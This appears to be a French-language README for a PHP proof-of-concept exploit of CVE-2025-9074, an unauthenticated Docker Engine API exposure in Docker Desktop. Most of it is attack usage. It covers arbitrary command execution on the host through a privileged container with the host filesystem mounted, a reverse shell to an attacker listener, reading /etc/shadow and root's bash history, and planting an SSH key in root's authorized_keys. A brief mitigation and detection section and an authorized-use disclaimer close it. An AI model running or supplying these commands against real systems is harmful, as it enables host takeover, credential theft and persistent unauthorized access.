
PHP poc, exploit for CVE-2025-9074
Sévérité : CRITIQUE | Score CVSS : 9.8 (estimé) | Versions affectées : Docker Desktop < 4.44.3
Un exploit de preuve de concept pour CVE-2025-9074, une vulnérabilité d'exécution de code à distance non authentifiée dans l'API Docker Engine qui permet une évasion de conteneur privilégié et un compromis du système hôte.
CVE-2025-9074 est une vulnérabilité critique dans Docker Desktop qui expose l'API Docker Engine sans authentification ni isolation réseau appropriées. Cela permet à des attaquants distants de :
La vulnérabilité affecte :
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Exécuter une commande unique sur l'hôte Docker :
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
Établir un shell inverse interactif :
# Terminal 1 : Démarrer le listener
nc -lvnp 4444
# Terminal 2 : Exécuter l'exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
Exécuter des commandes uniques sur la cible :
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
Lancer un shell interactif avec callback :
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 sans authentification/containers/create/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs┌─────────────────────────────────────────────────────┐
│ poc.php (Votre machine) │
└────────────┬────────────────────────────────────────┘
│ Appel API REST HTTP
▼
┌─────────────────────────────────────────────────────┐
│ API Docker (Port cible 2375) [NON AUTHENTIFIÉ] │
└────────────┬────────────────────────────────────────┘
│ Crée un conteneur
▼
┌─────────────────────────────────────────────────────┐
│ Conteneur Alpine privilégié │
│ ├─ Accès root complet │
│ ├─ Montage bind : /:/mnt/hostfs │
│ └─ Exécute la commande de l'attaquant │
└────────────┬────────────────────────────────────────┘
│ Sortie de la commande
▼
┌─────────────────────────────────────────────────────┐
│ Sortie renvoyée à l'attaquant │
└─────────────────────────────────────────────────────┘
Mettre à jour Docker Desktop
# Update to version 4.44.3 or later
Isolation réseau
Activer l'authentification TLS
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
Segmentation réseau
/var/run/docker.sock) uniquement pour l'accès local# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation.
Les contributions sont les bienvenues ! N'hésitez pas à soumettre des issues ou des pull requests.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Chercheur en sécurité | Testeur d'intrusion
Dernière mise à jour : Mai 2025 | Statut : Recherche active
| Option | Court | Requis | Description |
|---|
--url | -u | ✅ Oui | URL de l'API Docker (ex. http://1.2.3.4:2375) |
--mode | -m | ❌ Non | Mode d'exécution : cmd ou reverse (par défaut : cmd) |
--cmd | -c | ⚠️ Pour le mode cmd | Commande à exécuter sur la cible |
--lhost | -l | ⚠️ Pour le mode reverse | Votre adresse IP pour le callback |
--lport | -p | ❌ Non | Votre port d'écoute (par défaut : 4444) |
--os | — | ❌ Non | OS cible : linux, mac, windows (par défaut : linux) |
--cleanup | — | ❌ Non | Supprimer le conteneur après exécution |
--help | -h | ❌ Non | Afficher le message d'aide |